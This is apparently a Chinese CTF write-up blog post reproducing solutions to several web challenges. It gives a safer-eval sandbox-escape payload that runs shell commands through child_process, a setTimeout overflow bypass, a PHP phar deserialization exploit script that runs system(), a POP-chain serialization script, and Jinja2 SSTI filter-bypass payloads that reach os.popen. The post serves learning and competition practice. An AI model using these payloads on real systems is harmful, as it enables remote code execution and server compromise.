有源代码,点进来看
const express = require('express'); const bodyParser = require('body-parser'); const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 const fs = require('fs'); const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); // 2020.1/WORKER2 老板说为了后期方便优化 app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } }); app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); // 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口 app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) }) app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
?这道题主要涉及js代码,看着几个大佬的wp进行复现的
标红的地方看到了eval函数
查看版本发现了safer-eval是1.3.6版本的
发现存在该版本下的safe-eval沙箱逃逸
突围 ·期刊 #10 ·评论hol/safer-eval ·GitHub的
接下来就是这块:
app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } });
这里的意思就是。我们传入一个delay和原先定义的60000进行比较。大的值复制给delay
然后作为timeout的值传入
显然。默认定义超时6秒。进入下个路由。
但是我们的代码不能超时6秒。也就不能进去下个路由执行沙盒逃逸了
那么问题就出在这个settimeout函数上。?
详解setTimeout()_settimeout函数-CSDN博客
https://www.cnblogs.com/beimingbingpo/p/8532023.html
delay传入4294967296。造成settimeout设置为1.
如果超过1毫秒。就进入eval
导致恶意代码被执行?
get:? /eval?delay=4294967296?
post: ? e=setInterval.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString();
看到源码,尝试访问upload.php
发现成功访问
?因为源码中存在file_exists()函数,可以利用phar反序列化
在PHP中的file_exists()函数-php教程-PHP中文网
PHP Phar反序列化总结_ctf phpphar反序列化-CSDN博客
基本思路就是利用上传的phar文件进行反序列化利用?
上传phar文件
<?php
class Flag{
??? public $code = "system('cat /ffflllaaaggg');"; //system('ls /');
}
$a = new Flag();
?
?
$phar = new phar('b.phar');//对phar对象进行实例化,以便后续操作。
?
?
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
?
?
$phar -> setStub("<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式
?
?
$phar -> setMetadata($a);//把我们的对象写进Metadata中
?
?
$phar -> addFromString("test.txt","helloworld!!");//写压缩文件的内容,这里没利用点,可以随便写
?
?
$phar -> stopBuffering();//停止缓冲
?>?
提示只能传图片上去
?修改一下后缀,得到flag
参考nssctf大佬的wp复现出来,pop链的构造还是有很大的问题
<?php
Class Rd{
??? public $ending;
??? public $cl;
?
??? public $poc;
}class Poc{
??? public $payload;
?
??? public $fun;
}
?
class Er{
??? public $symbol;
??? public $Flag='cat /flag';//? ls /
?
}
?
class Ha{
??? public $start;
??? public $start1;
??? public $start2="11111";
}
?
$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
?
输入{{7*7}}发现报错
?试了下{{7*7}}直接报错,还是报的php的错,但是{7*7}就可以正常显示出来,这就说明{{可能被过滤了,而{可能没被过滤,所以我们再试一些只要{}就能用的句子试试,如{% set a=“test” %}
大佬的这篇博客写的很详细
利用{% print %}可以发现有回显
{% print(lipsum|string|list) %}
?这里还得补充一点,{%print %}形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如{%print ‘’.class %}执行之后没有任何的回显,但{%print ‘’.clconfigass %}成功执行有回显,这说明class被过滤了
让看环境变量
1.拼接绕过
1.{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('env').read()%}
2.
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('env')['read']())%}?
?2.双写绕过
name={%print().__claconfigss__.__base__.__subclaconfigsses__()[258].__init__.__globals__['oconfigs'].popconfigen('env').read()%}
是go语言的文件上传,第一次遇到
弹shell一直没学会,暂时搁浅